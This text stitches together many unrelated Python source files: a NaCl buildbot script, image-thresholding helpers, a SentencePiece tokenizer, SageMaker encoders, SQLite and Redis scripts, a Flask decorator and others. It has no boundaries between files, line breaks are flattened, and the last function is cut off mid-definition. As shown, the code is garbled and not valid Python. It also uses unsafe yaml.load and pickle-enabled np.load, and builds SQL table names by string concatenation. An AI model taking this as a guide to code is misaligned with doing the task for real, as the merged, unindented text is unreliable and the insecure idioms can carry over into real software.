hb.buffer_get_glyph_positions(buf) for info, pos in zip(infos, positions): gid = info.codepoint cluster = info.cluster x_advance = pos.x_advance x_offset = pos.x_offset y_offset = pos.y_offset print("gid%d=%d@%d,%d+%d" % (gid, cluster, x_advance, x_offset, y_offset)) from __future__ import division from skimage.measure import label from utils.filters import adaptive_thresh from skimage.filters import threshold_otsu from utils.filters import label_watershed from utils.binary_ops import grey_dilation import numpy as np from scipy.ndimage import gaussian_laplace, binary_dilation, binary_opening, binary_closing np.random.seed(0) def constant_thres(img, THRES=2000, NEG=False): """take pixel above THRES as a foreground. Examples: >>> img = np.zeros((3, 3)) >>> img[0, 0] = 10 >>> img[2, 2] = 10 >>> example_thres(img, None, THRES=5) array([[1, 0, 0], [0, 0, 0], [0, 0, 2]]) """ if NEG: return label(img < THRES) return label(img > THRES) def global_otsu(img): global_thresh = threshold_otsu(img) return label(img > global_thresh) def adaptive_thres(img, FIL1=10, R1=100): """adaptive thresholding for picking objects with different brightness. """ bw = adaptive_thresh(img, R=R1, FILTERINGSIZE=FIL1) return label(bw) def adaptive_thres_two(img, FIL1=10, FIL2=100, R1=100, R2=100): """adaptive thresholding for picking objects with different brightness. FIL2 and R2 for removing background. """ bw = adaptive_thresh(img, R=R1, FILTERINGSIZE=FIL1) foreground = adaptive_thresh(img, R=R2, FILTERINGSIZE=FIL2) bw[-foreground] = 0 return label(bw) def adaptive_thres_otsu(img, FIL1=4, R1=1): """adaptive thresholding for picking objects with different brightness. Use Otsu's method for removing background """ bw = adaptive_thresh(img, R1, FIL1) foreground = global_otsu(img) > 0 bw[-foreground] = 0 return label(bw) def watershed_labels(labels, REG=10): """watershed to separate objects with concavity. Does not use intensity information but shape. """ return label_watershed(labels, regmax=REG) def lap_peak_local(img, separation=10, percentile=64, min_sigma=2, max_sigma=5, num_sigma=10): sigma_list = np.linspace(min_sigma, max_sigma, num_sigma) gl_images = [-gaussian_laplace(img, s) * s ** 2 for s in sigma_list] image_cube = np.dstack(gl_images) max_image = np.max(image_cube, axis=2) coords = grey_dilation(max_image, separation=separation, percentile=percentile) def mark_pos(im, coords): temp = np.zeros(im.shape) for c0, c1 in coords: temp[c0, c1] = 1 return temp bw = mark_pos(img, coords) return label(binary_dilation(bw, np.ones((3, 3)))) # -*- coding: utf-8 -*- import json import yaml from .utils import get_envvar def load_from_file(load_func, filename, silent=False, is_envvar=False): """Get a configuration mapping from a file.""" if is_envvar: filename = get_envvar(filename, silent=silent) try: with open(filename) as fp: obj = load_func(fp) if not isinstance(obj, dict): raise RuntimeError( 'The configuration file %r is invalid' % filename ) except IOError as e: if not silent: e.strerror = 'Unable to load configuration file (%s)' % e.strerror raise else: obj = {} return obj def json_mapping(filename, silent=False, is_envvar=False): """Get a configuration mapping from a JSON file.""" load_func = lambda fp: json.load(fp) return load_from_file(load_func, filename, silent, is_envvar) def yaml_mapping(filename, silent=False, is_envvar=False): """Get a configuration mapping from a YAML file.""" load_func = lambda fp: yaml.load(fp) return load_from_file(load_func, filename, silent, is_envvar) MicrohexHQ/nacl_contracts #!/usr/bin/python # Copyright (c) 2013 The Native Client Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import argparse import logging import os import platform import subprocess import sys sys.path.append(os.path.join(os.path.dirname(__file__), '..')) import pynacl.platform import pynacl.file_tools import buildbot_lib import packages SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) NACL_DIR = os.path.dirname(SCRIPT_DIR) TOOLCHAIN_BUILD_DIR = os.path.join(NACL_DIR, 'toolchain_build') TOOLCHAIN_BUILD_OUT_DIR = os.path.join(TOOLCHAIN_BUILD_DIR, 'out') TEMP_PACKAGES_FILE = os.path.join(TOOLCHAIN_BUILD_OUT_DIR, 'packages.txt') BUILD_DIR = os.path.join(NACL_DIR, 'build') PACKAGE_VERSION_DIR = os.path.join(BUILD_DIR, 'package_version') PACKAGE_VERSION_SCRIPT = os.path.join(PACKAGE_VERSION_DIR, 'package_version.py') # As this is a buildbot script, we want verbose logging. Note however, that # toolchain_build has its own log settings, controlled by its CLI flags. logging.getLogger().setLevel(logging.DEBUG) parser = argparse.ArgumentParser(description='PNaCl toolchain buildbot script') group = parser.add_mutually_exclusive_group() group.add_argument('--buildbot', action='store_true', help='Buildbot mode (build and archive the toolchain)') group.add_argument('--trybot', action='store_true', help='Trybot mode (build but do not archove the toolchain)') args = parser.parse_args() host_os = buildbot_lib.GetHostPlatform() # This is a minimal context, not useful for running tests yet, but enough for # basic Step handling. context = buildbot_lib.BuildContext() buildbot_lib.SetDefaultContextAttributes(context) context['pnacl'] = True status = buildbot_lib.BuildStatus(context) toolchain_install_dir = os.path.join( NACL_DIR, 'toolchain', '%s_%s' % (host_os, pynacl.platform.GetArch()), 'pnacl_newlib') toolchain_build_cmd = [ sys.executable, os.path.join( NACL_DIR, 'toolchain_build', 'toolchain_build_pnacl.py'), '--verbose', '--sync', '--clobber', '--build-64bit-host', '--install', toolchain_install_dir, ] # Sync the git repos used by build.sh with buildbot_lib.Step('Sync build.sh repos', status, halt_on_fail=True): buildbot_lib.Command(context, toolchain_build_cmd + ['--legacy-repo-sync']) # Clean out any installed toolchain parts that were built by previous bot runs. with buildbot_lib.Step('Sync TC install dir', status): pynacl.file_tools.RemoveDirectoryIfPresent(toolchain_install_dir) buildbot_lib.Command( context, [sys.executable, PACKAGE_VERSION_SCRIPT, '--packages', 'pnacl_newlib', 'sync', '--extract']) # Run checkdeps so that the PNaCl toolchain trybots catch mistakes that would # cause the normal NaCl bots to fail. with buildbot_lib.Step('checkdeps', status): buildbot_lib.Command( context, [sys.executable, os.path.join(NACL_DIR, 'tools', 'checkdeps', 'checkdeps.py')]) # Test the pinned toolchain. Since we don't yet have main waterfall # Windows or mac bots, we need to test the full assembled toolchain here. if host_os == 'win' or host_os == 'mac' or not pynacl.platform.IsArch64Bit(): with buildbot_lib.Step('Test NaCl-pinned toolchain', status, halt_on_fail=False): buildbot_lib.SCons(context, args=['smoke_tests'], parallel=True) buildbot_lib.SCons(context, args=['large_tests'], parallel=False) buildbot_lib.SCons(context, args=['pnacl_generate_pexe=0', 'nonpexe_tests'], parallel=True) # toolchain_build outputs its own buildbot annotations, so don't use # buildbot_lib.Step to run it here. try: gsd_arg = [] if args.buildbot: gsd_arg = ['--buildbot'] elif args.trybot: gsd_arg = ['--trybot'] cmd = toolchain_build_cmd + gsd_arg + ['--packages-file', TEMP_PACKAGES_FILE] logging.info('Running: ' + ' '.join(cmd)) subprocess.check_call(cmd) if args.buildbot or args.trybot: # Don't upload packages from the 32-bit linux bot to avoid racing on # uploading the same packages as the 64-bit linux bot if host_os != 'linux' or pynacl.platform.IsArch64Bit(): packages.UploadPackages(TEMP_PACKAGES_FILE, args.trybot) except subprocess.CalledProcessError: # Ignore any failures and keep going (but make the bot stage red). print '@@@STEP_FAILURE@@@' sys.stdout.flush() # Since mac and windows bots don't build target libraries or run tests yet, # Run a basic sanity check that tests the host components (LLVM, binutils, # gold plugin) if host_os == 'win' or host_os == 'mac': with buildbot_lib.Step('Test host binaries and gold plugin', status, halt_on_fail=False): buildbot_lib.Command( context, [sys.executable, os.path.join('tests', 'gold_plugin', 'gold_plugin_test.py'), '--toolchaindir', toolchain_install_dir]) if host_os != 'win': # TODO(dschuff): Fix windows regression test runner (upstream in the LLVM # codebase or locally in the way we build LLVM) ASAP with buildbot_lib.Step('LLVM Regression (toolchain_build)', status): llvm_test = [sys.executable, os.path.join(NACL_DIR, 'pnacl', 'scripts', 'llvm-test.py'), '--llvm-regression', '--verbose'] buildbot_lib.Command(context, llvm_test) with buildbot_lib.Step('Update cygwin/check bash', status, halt_on_fail=True): # Update cygwin if necessary. if host_os == 'win': if sys.platform == 'cygwin': print 'This script does not support running from inside cygwin!' sys.exit(1) subprocess.check_call(os.path.join(SCRIPT_DIR, 'cygwin_env.bat')) print os.environ['PATH'] paths = os.environ['PATH'].split(os.pathsep) # Put path to cygwin tools at the beginning, so cygwin tools like python # and cmake will supercede others (which do not understand cygwin paths) paths = [os.path.join(NACL_DIR, 'cygwin', 'bin')] + paths print paths os.environ['PATH'] = os.pathsep.join(paths) print os.environ['PATH'] bash = os.path.join(NACL_DIR, 'cygwin', 'bin', 'bash') else: # Assume bash is in the path bash = 'bash' try: print 'Bash version:' sys.stdout.flush() subprocess.check_call([bash , '--version']) except subprocess.CalledProcessError: print 'Bash not found in path!' raise buildbot_lib.StepFailed() # Now we run the PNaCl buildbot script. It in turn runs the PNaCl build.sh # script and runs scons tests. # TODO(dschuff): re-implement the test-running portion of buildbot_pnacl.sh # using buildbot_lib, and use them here and in the non-toolchain builder. buildbot_shell = os.path.join(NACL_DIR, 'buildbot', 'buildbot_pnacl.sh') # Because patching mangles the shell script on the trybots, fix it up here # so we can have working windows trybots. def FixCRLF(f): with open(f, 'rb') as script: data = script.read().replace('\r\n', '\n') with open(f, 'wb') as script: script.write(data) if host_os == 'win': FixCRLF(buildbot_shell) FixCRLF(os.path.join(NACL_DIR, 'pnacl', 'build.sh')) FixCRLF(os.path.join(NACL_DIR, 'pnacl', 'scripts', 'common-tools.sh')) # Generate flags for buildbot_pnacl.sh if host_os == 'linux': arg_os = 'linux' # TODO(dschuff): Figure out if it makes sense to import the utilities from # build/ into scripts from buildbot/ or only use things from buildbot_lib, # or unify them in some way. arch = 'x8664' if platform.machine() == 'x86_64' else 'x8632' elif host_os == 'mac': arg_os = 'mac' arch = 'x8632' elif host_os == 'win': arg_os = 'win' arch = 'x8664' else: print 'Unrecognized platform: ', host_os sys.exit(1) if args.buildbot: trybot_mode = 'false' elif args.trybot: trybot_mode = 'true' platform_arg = 'mode-buildbot-tc-' + arch + '-' + arg_os command = [bash, buildbot_shell, platform_arg, trybot_mode] logging.info('Running: ' + ' '.join(command)) subprocess.check_call(command) Ene-Jun-2021/hernandez-vazquez-jorge-de-jesus/SegundoParcial/Ejercicio-3/insertions.py import redis import json #ip-container rediss = redis.Redis(host='172.22.0.2',port=6379) with open("mock_data.json", "r") as datass: e = json.load(datass) if e == None or e == "": print( "Nothing here") else: for index in e: a = index["id"] b = index["first_name"] c = index["last_name"] d = str(a) +"-"+ str(b) +"-"+ str(c) rediss.set(d, "'"+str(index)+"'") print("SUCCESS") chickenshifu/trufflepig #!/usr/bin/python3 import sqlite3 import pandas as pd from datetime import datetime dbDatum = datetime.today().strftime('%Y%m') def createCryptoURLTable(): datenbankname = 'database/trufflepig.db' tbl_name = 'crypto_urls' db = sqlite3.connect(datenbankname) cursor = db.cursor() try: tableCreation = '''CREATE TABLE IF NOT EXISTS ''' + tbl_name + ''' ( url TEXT PRIMARY KEY UNIQUE);''' cursor.execute(tableCreation) db.commit() db.close() return 1 except sqlite3.Error as error: print("Failed to create sqlite table", error) db.commit() db.close() return 0 def createSingleCryptoTable(tablename): datenbankname = 'database/trufflepig.db' tbl_name = tablename db = sqlite3.connect(datenbankname) cursor = db.cursor() try: tableCreation = '''CREATE TABLE IF NOT EXISTS ''' + tbl_name + ''' ( id INTEGER PRIMARY KEY AUTOINCREMENT, timestamp DATETIME DEFAULT CURRENT_TIMESTAMP, watchlist REAL, price REAL);''' cursor.execute(tableCreation) db.commit() db.close() return 1 except sqlite3.Error as error: print("Failed to create sqlite table", error) db.commit() db.close() return 0 def appendTableWithUrls(crypto_url, suffix=None): datenbankname = 'database/trufflepig.db' tbl_name = 'crypto_urls' db = sqlite3.connect(datenbankname) cursor = db.cursor() try: sqlstatement = ''' INSERT OR IGNORE INTO ''' + tbl_name + ''' (url) VALUES (?);''' cursor.execute(sqlstatement, (crypto_url,)) #print(f'Eintrag für {crypto_url} zur Datenbank hinzugefügt bzw. ignoriert, da bereits vorhanden.') except Exception as e: print(f'{e}, Eintrag für {crypto_url} konnte nicht hinzugefügt werden.') db.commit() db.close() def readUrls(): datenbankname = 'database/trufflepig.db' tbl_name = 'crypto_urls' db = sqlite3.connect(datenbankname) try: df = pd.read_sql_query("SELECT url FROM " + tbl_name, db) except Exception as e: print('Failed: ' + str(e)) db.close() return df def writeStatsToCryptoTable(datatable_name, watchlist, current_price): datenbankname = "database/trufflepig.db" tbl_name = datatable_name db = sqlite3.connect(datenbankname) cursor = db.cursor() try: sqlstatement = '''INSERT OR IGNORE INTO ''' + tbl_name + ''' (watchlist, price) VALUES (?, ?);''' cursor.execute(sqlstatement, (watchlist, current_price)) except Exception as e: print(f'{e}, Eintrag für {tbl_name} konnte nicht hinzugefügt werden.') db.commit() db.close() def readStatsFromCryptoTable(datatable_name): datenbankname = 'database/trufflepig.db' tbl_name = datatable_name db = sqlite3.connect(datenbankname) try: df = pd.read_sql_query("SELECT watchlist, price FROM " + tbl_name, db) db.close() return df except Exception as e: print('Failed: ' + str(e)) def createStatsTable(tablename): datenbankname = 'database/stats_trufflepig.db' tbl_name = tablename db = sqlite3.connect(datenbankname) cursor = db.cursor() try: tableCreation = '''CREATE TABLE IF NOT EXISTS ''' + tbl_name + ''' ( id INTEGER PRIMARY KEY AUTOINCREMENT, timestamp DATETIME DEFAULT CURRENT_TIMESTAMP, deviation REAL, mean REAL, correlation INTEGER);''' cursor.execute(tableCreation) db.commit() db.close() return 1 except sqlite3.Error as error: print("Failed to create sqlite table", error) db.commit() db.close() return 0 def writeDeviationToStatsTable(datatable_name, deviation): datenbankname = "database/stats_trufflepig.db" tbl_name = datatable_name db = sqlite3.connect(datenbankname) cursor = db.cursor() try: sqlstatement = '''INSERT OR IGNORE INTO ''' + tbl_name + ''' (deviation) VALUES (?);''' cursor.execute(sqlstatement, (deviation,)) db.commit() return cursor.lastrowid except Exception as e: print(f'{e}, Eintrag für {tbl_name} konnte nicht hinzugefügt werden.') return -1 db.close() def readStatsFromStatsTable(datatable_name): datenbankname = 'database/stats_trufflepig.db' tbl_name = datatable_name db = sqlite3.connect(datenbankname) try: df = pd.read_sql_query("SELECT deviation, mean, correlation FROM " + tbl_name, db) except Exception as e: print('Failed: ' + str(e)) db.close() return df def writeMeanDeviationToStatsTable(datatable_name, mean, last_row_id): datenbankname = "database/stats_trufflepig.db" tbl_name = datatable_name db = sqlite3.connect(datenbankname) cursor = db.cursor() try: sqlstatement = '''UPDATE ''' + tbl_name + ''' SET (mean) = (?) WHERE (id) = (?);''' cursor.execute(sqlstatement, (mean, last_row_id,)) except Exception as e: print(f'{e}, Eintrag für {tbl_name} konnte nicht hinzugefügt werden.') db.commit() db.close() def writeCorrelationToStatsTable(datatable_name, correlation, last_row_id): datenbankname = "database/stats_trufflepig.db" tbl_name = datatable_name db = sqlite3.connect(datenbankname) cursor = db.cursor() try: sqlstatement = '''UPDATE ''' + tbl_name + ''' SET (correlation) = (?) WHERE (id) = (?);''' cursor.execute(sqlstatement, (correlation, last_row_id,)) except Exception as e: print(f'{e}, Eintrag für {tbl_name} konnte nicht hinzugefügt werden.') db.commit() db.close() cancervariants/variant-normalization """Module for Amino Acid DelIns Translation.""" from variation.translators.translator import Translator from variation.schemas.classification_response_schema import ClassificationType from variation.schemas.token_response_schema import AminoAcidDelInsToken class AminoAcidDelIns(Translator): """The Amino Acid DelIns Translator class.""" def can_translate(self, type: ClassificationType) -> bool: """Return if classification type is Amino Acid DelIns.""" return type == ClassificationType.AMINO_ACID_DELINS def is_token_instance(self, token): """Return if the token is an Amino Acid DelIns token instance.""" return isinstance(token, AminoAcidDelInsToken) foscomerlacci/GestioneMezzi __author__ = 'utente' from django.db import connection from django.http import HttpResponse #from .models import Auto, Noleggio from collections import namedtuple import sys sys.getdefaultencoding() def namedtuplefetchall(cursor): "Return all rows from a cursor as a namedtuple" desc = cursor.description nt_result = namedtuple('Result', [col[0] for col in desc]) return [nt_result(*row) for row in cursor.fetchall()] ##################################################################################################################### ''' QUERY PER TROVARE LE AUTO DISPONIBILI ''' # def disponibili(): #funzionante # cursor = connection.cursor() # cursor.execute('''select targa from noleggi_auto # except # select targa from noleggi_auto left join noleggi_noleggio # on (noleggi_auto.id = noleggi_noleggio.fkauto_id) # where datauscita is not null and dataentrata is null # order by targa''') # elenco = [] # rows = cursor.fetchall() # # for index in range(len(rows)): #si crea la lista 'elenco' di liste per popolare il dropdown # elemento = list(rows[index]) # elemento += list(rows[index]) # elenco.append(elemento) # return elenco def disponibili(): cursor = connection.cursor() cursor.execute('''select noleggi_auto.id, targa from noleggi_auto except select noleggi_auto.id, targa from noleggi_auto left join noleggi_noleggio on (noleggi_auto.id = noleggi_noleggio.fkauto_id) where datauscita is not null and dataentrata is null ORDER BY targa''') elenco = [] rows = cursor.fetchall() for index in range(len(rows)): elenco.append(rows[index]) return elenco ###################################################################################################################### def scrivi_disponibili(self): print(disponibili()) # def clean(self, value): # cleaned_data = self.cleaned_data # # # import os # from django.conf import settings # from django.http import HttpResponse # from django.template import Context # from django.template.loader import get_template # import datetime # from xhtml2pdf import pisa # # # def generaPDF(request): # data = {} # # template = get_template('/home/utente/progetti/noleggi/templates/noleggi.html') # html = template.render(Context(data)) # # file = open('test.pdf', "w+b") # pisaStatus = pisa.CreatePDF(html.encode('utf-8'), dest=file, # encoding='utf-8') # # file.seek(0) # pdf = file.read() # file.close() # return HttpResponse(pdf, mimetype='application/pdf') import sentencepiece as spm import re from jieba import Tokenizer from jieba.posseg import POSTokenizer class SPM(object): def __init__(self, config): self.config = config self.sp = spm.SentencePieceProcessor() def load_dict(self): self.dict = [] try: with open(self.config.get("word_dict", None), "r") as frobj: for line in frobj: content = line.strip().split("\t")[0] # if "▁" in content: # word = content.split("▁")[1] # if word in self.dict: # continue # else: # self.dict.append(word) # else: self.dict.append(content) except: raise ValueError("Not existed word piece dict") def add_extra_word(self, extra_lst=["[PAD]", "[UNK]","[CLS]", "[SEP]", "[MASK]"]): extra_lst = extra_lst if extra_lst else self.config.get("extra_lst", []) if len(extra_lst) >= 1: for word in extra_lst: if word in self.dict: self.dict.remove(word) self.dict = extra_lst + self.dict with open("/data/xuht/tmp_vocab.txt", "w") as fwobj: for word in self.dict: fwobj.write(word+"\n") def build_word_id(self): self.word2id, self.id2word = {}, {} for index, word in enumerate(self.dict): self.word2id[word] = index self.id2word[index] = word def load_model(self): try: self.sp.Load(self.config.get("word_piece_model", None)) except: raise ValueError('Not found word piece model') def train_model(self, train_config=None): config = train_config if train_config else self.config param = "" param += "--input={} ".format(self.config["corpus"]) param += "--model_prefix={} ".format(self.config["model_prefix"]) param += "--vocab_size={} ".format(self.config["vocab_size"]) param += "--model_type={} ".format(self.config.get("model_type", "unigram")) param += "--character_coverage={}".format(self.config.get("character_coverage", "0.995")) try: spm.SentencePieceTrainer.Train(param) self.sp.Load(self.config["model_prefix"]+".model") except: raise ValueError(" training word piece model failed ") def tokenize(self, text): tokenized_text = self.sp.EncodeAsPieces(text) # tf.logging.info(" text {} token {}".format(text, tokenized_text)) tmp_text = [] for word in tokenized_text: word = re.sub("▁", "", word) if len(word) >= 1: tmp_text.append(word) return tmp_text def convert_tokens_to_ids(self, text, unk="[UNK]"): try: tokenized_text = self.tokenize(text) except: tokenized_text = text token_id_lst = [self.word2id.get(word, self.word2id[unk]) for word in tokenized_text] return token_id_lst def padding(self, token_id_lst, max_length, zero_padding=0): return token_id_lst + [zero_padding] * (max_length - len(token_id_lst)) class Jieba(object): def __init__(self, config): self.config = config self.dt = POSTokenizer() def load_dict(self): self.dict = [] try: with open(self.config.get("word_dict", None), "r") as frobj: for line in frobj: content = line.strip().split("\t")[0] self.dict.append(content) except: raise ValueError("Not existed word piece dict") def load_model(self): for word in self.dict: self.dt.add_word(word) def build_word_id(self): self.word2id, self.id2word = {}, {} for index, word in enumerate(self.dict): self.word2id[word] = index self.id2word[index] = word def add_extra_word(self, extra_lst=["[PAD]", "[UNK]","[CLS]", "[SEP]", "[MASK]"]): extra_lst = extra_lst if extra_lst else self.config.get("extra_lst", []) if len(extra_lst) >= 1: for word in extra_lst: if word in self.dict: self.dict.remove(word) self.dict = extra_lst + self.dict def train_model(self, train_config=None): config = train_config if train_config else self.config self.dict = [] try: with open(config.get("word_dict", None)) as frobj: for line in frobj: content = line.strip().split("\t")[0] self.dict.append(content) except: raise ValueError(" not existed word dict") def tokenize(self, text): tokenized_text = self.dt.lcut(text) return [list(word)[0] for word in tokenized_text] def convert_tokens_to_ids(self, text, unk="[UNK]"): tokenized_text = self.tokenize(text) token_id_lst = [self.word2id.get(word, self.word2id[unk]) for word in tokenized_text] return token_id_lstrps3env/bin/random_play.py """ Copyright 2019 Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import argparse import random # noinspection PyUnresolvedReferences import time import gym from rps3env import envs __author__ = '' def main(): parser = argparse.ArgumentParser(description='Play through the game environment using random moves.') parser.add_argument("--difficulty", type=int, default=2, choices=range(10), help="Difficulty level; 0 is random.") parser.add_argument("--random-seed", type=int, default=None, help="Seed for the random number generator.") args = parser.parse_args() if args.difficulty <= 0: env = gym.make('RPS3Game-v0') # type: envs.RPS3GameEnv else: env = gym.make('RPS3Game-v1') # type: envs.RPS3GameMinMaxEnv env.settings['depth_limit'] = args.difficulty env.seed(args.random_seed) env.reset() action = random.choice(env.available_actions) obs, reward, done, info = env.step(action) while not done: env.render() action = random.choice(env.available_actions) obs, reward, done, info = env.step(action) env.render() time.sleep(3) env.close() if __name__ == '__main__': main() src/sagemaker_containers/_encoders.py # Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the 'License'). You # may not use this file except in compliance with the License. A copy of # the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the 'license' file accompanying this file. This file is # distributed on an 'AS IS' BASIS, WITHOUT WARRANTIES OR CONDITIONS OF # ANY KIND, either express or implied. See the License for the specific # language governing permissions and limitations under the License. """Placeholder docstring""" from __future__ import absolute_import import csv import io import json from typing import Iterable import numpy as np from scipy.sparse import issparse from six import BytesIO, StringIO from sagemaker_containers import _content_types, _errors from sagemaker_containers._recordio import ( _write_numpy_to_dense_tensor, _write_spmatrix_to_sparse_tensor, ) def array_to_npy(array_like): # type: (np.array or Iterable or int or float) -> object """Convert an array like object to the NPY format. To understand better what an array like object is see: https://docs.scipy.org/doc/numpy/user/basics.creation.html#converting-python-array-like-objects-to-numpy-arrays Args: array_like (np.array or Iterable or int or float): array like object to be converted to NPY. Returns: (obj): NPY array. """ buffer = BytesIO() np.save(buffer, array_like) return buffer.getvalue() def npy_to_numpy(npy_array): # type: (object) -> np.array """Convert an NPY array into numpy. Args: npy_array (npy array): to be converted to numpy array Returns: (np.array): converted numpy array. """ stream = BytesIO(npy_array) return np.load(stream, allow_pickle=True) def array_to_json(array_like): # type: (np.array or Iterable or int or float) -> str """Convert an array like object to JSON. To understand better what an array like object is see: https://docs.scipy.org/doc/numpy/user/basics.creation.html#converting-python-array-like-objects-to-numpy-arrays Args: array_like (np.array or Iterable or int or float): array like object to be converted to JSON. Returns: (str): object serialized to JSON """ def default(_array_like): if hasattr(_array_like, "tolist"): return _array_like.tolist() return json.JSONEncoder().default(_array_like) return json.dumps(array_like, default=default) def json_to_numpy(string_like, dtype=None): # type: (str) -> np.array """Convert a JSON object to a numpy array. Args: string_like (str): JSON string. dtype (dtype, optional): Data type of the resulting array. If None, the dtypes will be determined by the contents of each column, individually. This argument can only be used to 'upcast' the array. For downcasting, use the .astype(t) method. Returns: (np.array): numpy array """ data = json.loads(string_like) return np.array(data, dtype=dtype) def csv_to_numpy(string_like, dtype=None): # type: (str) -> np.array """Convert a CSV object to a numpy array. Args: string_like (str): CSV string. dtype (dtype, optional): Data type of the resulting array. If None, the dtypes will be determined by the contents of each column, individually. This argument can only be used to 'upcast' the array. For downcasting, use the .astype(t) method. Returns: (np.array): numpy array """ try: stream = StringIO(string_like) reader = csv.reader(stream, delimiter=",", quotechar='"', doublequote=True, strict=True) array = np.array([row for row in reader]).squeeze() array = array.astype(dtype) except ValueError as e: if dtype is not None: raise _errors.ClientError( "Error while writing numpy array: {}. dtype is: {}".format(e, dtype) ) except Exception as e: raise _errors.ClientError("Error while decoding csv: {}".format(e)) return array def array_to_csv(array_like): # type: (np.array or Iterable or int or float) -> str """Convert an array like object to CSV. To understand better what an array like object is see: https://docs.scipy.org/doc/numpy/user/basics.creation.html#converting-python-array-like-objects-to-numpy-arrays Args: array_like (np.array or Iterable or int or float): array like object to be converted to CSV. Returns: (str): object serialized to CSV """ array = np.array(array_like) if len(array.shape) == 1: array = np.reshape(array, (array.shape[0], 1)) # pylint: disable=unsubscriptable-object try: stream = StringIO() writer = csv.writer( stream, lineterminator="\n", delimiter=",", quotechar='"', doublequote=True, strict=True ) writer.writerows(array) return stream.getvalue() except csv.Error as e: raise _errors.ClientError("Error while encoding csv: {}".format(e)) def array_to_recordio_protobuf(array_like, labels=None): """Convert an array like object to recordio-protobuf format. To understand better what an array like object is see: https://docs.scipy.org/doc/numpy/user/basics.creation.html#converting-python-array-like-objects-to-numpy-arrays Args: array_like (np.array or scipy.sparse.csr_matrix): array like object to be converted to recordio-protobuf. labels (np.array or scipy.sparse.csr_matrix): array like object representing the labels to be encoded Returns: buffer: bytes buffer recordio-protobuf """ if len(array_like.shape) == 1: array_like = array_like.reshape(1, array_like.shape[0]) assert len(array_like.shape) == 2, "Expecting a 1 or 2 dimensional array" buffer = io.BytesIO() if issparse(array_like): _write_spmatrix_to_sparse_tensor(buffer, array_like, labels) else: _write_numpy_to_dense_tensor(buffer, array_like, labels) buffer.seek(0) return buffer.getvalue() _encoders_map = { _content_types.NPY: array_to_npy, _content_types.CSV: array_to_csv, _content_types.JSON: array_to_json, } _decoders_map = { _content_types.NPY: npy_to_numpy, _content_types.CSV: csv_to_numpy, _content_types.JSON: json_to_numpy, } def decode(obj, content_type): # type: (np.array or Iterable or int or float, str) -> np.array """Decode an object ton a one of the default content types to a numpy array. Args: obj (object): to be decoded. content_type (str): content type to be used. Returns: np.array: decoded object. """ try: decoder = _decoders_map[content_type] return decoder(obj) except KeyError: raise _errors.UnsupportedFormatError(content_type) def encode(array_like, content_type): # type: (np.array or Iterable or int or float, str) -> np.array """Encode an array like object in a specific content_type to a numpy array. To understand better what an array like object is see: https://docs.scipy.org/doc/numpy/user/basics.creation.html#converting-python-array-like-objects-to-numpy-arrays Args: array_like (np.array or Iterable or int or float): to be converted to numpy. content_type (str): content type to be used. Returns: (np.array): object converted as numpy array. """ try: encoder = _encoders_map[content_type] return encoder(array_like) except KeyError: raise _errors.UnsupportedFormatError(content_type) from novel_tools.common import Type, NovelData, FieldMetadata from .__structure_writer__ import StructureWriter, Structure from novel_tools.utils import purify_name class MarkdownWriter(StructureWriter): """ Writes the entire novel to a Markdown file. If a title field has been passed from a TitleTransformer and has the 'formatted' field filled, then the field will be prioritized. """ @staticmethod def required_fields() -> list[FieldMetadata]: return StructureWriter.required_fields() + [ FieldMetadata('use_title', 'bool', description='If set to True, will use the book title (if specified) as the Markdown ' 'filename.'), FieldMetadata('md_filename', 'str', default='text.md', description='Filename of the output Markdown file, if `use_title` is False.'), FieldMetadata('levels', 'dict[str, int]', default={'book_title': 1, 'volume_title': 2, 'chapter_title': 3}, description='Specifies what level the header should be for each type.'), FieldMetadata('write_newline', 'bool', default=False, description='If set to True, will insert a newline after a non-blank line. This will avoid ' 'contents on consecutive lines being treated as the same paragraph.'), ] def __init__(self, args): args = self.extract_fields(args) super().__init__(args) self.use_title = args['use_title'] self.filename = args['md_filename'] self.levels = {Type[key.upper()]: '#' * value + ' ' for key, value in args['levels'].items()} self.write_newline = args['write_newline'] def write(self) -> None: self._cleanup() title = self.structure.title title_text = self._get_content(title) if title else '' filename = purify_name(self._get_filename(title) + '.md' if self.use_title else self.filename) with (self.out_dir / filename).open('wt') as f: if title: f.write(self.levels.get(Type.BOOK_TITLE, '') + title_text + '\n\n') # Write intro if len(self.structure.contents) > 0: f.write(self.structure.contents[0].content) f.write('\n\n') # Write volume if self.has_volumes: for i in range(len(self.structure.children)): self.__write_volume(self.structure.children[i], f) if i != len(self.structure.children) - 1: f.write('\n\n') else: default_volume = Structure() default_volume.children = self.structure.children self.__write_volume(default_volume, f) def _join_content(self, contents: list[NovelData]) -> str: contents_str = [] for content in contents: contents_str.append(content.content + '\n') if self.write_newline: contents_str.append('\n') return ''.join(contents_str).strip() def __write_volume(self, volume: Structure, f): if title := volume.title: f.write(self.levels.get(Type.VOLUME_TITLE, '') + self._get_content(title) + '\n\n') if len(volume.contents) > 0: f.write(volume.contents[0].content) f.write('\n\n') for i in range(len(volume.children)): chapter = volume.children[i] title = chapter.title f.write(self.levels.get(Type.CHAPTER_TITLE, '') + self._get_content(title) + '\n\n') f.write(chapter.contents[0].content) if i != len(volume.children) - 1: f.write('\n\n') from .Global import svglob from .shapeview import needUpdate import bpy #no longer used, embedded scripts are used instead def start(): def checkViews(): #print("need update?", needUpdate()) if needUpdate(): for ob in bpy.context.visible_objects: if ob.mode not in ["OBJECT"] or type(ob.data) != bpy.types.Mesh: continue if not ob.data.shape_keys or not ob.data.shape_keys.animation_data: continue if len(ob.data.shape_keys.shapeview.skeys) == 0: continue print("updating object. . .", ob.name) print("view update detected") dgraph = bpy.context.evaluated_depsgraph_get() scene = bpy.context.scene ob.data.shape_keys.update_tag() pass svglob.startTimer(checkViews) def stop(): svglob.stopTimers() pass menghao2015/MyBlogmyapp/decorators.py from functools import wraps from flask import abort from flask.ext.login import current_user from .models import Permission def permission_required(permission): def decorators(f): @wraps(f) def decorators_function(*args, **kwargs): if not current_user.can(permission): abort(403) return f(*args, **kwargs) return decorators_function return decorators def 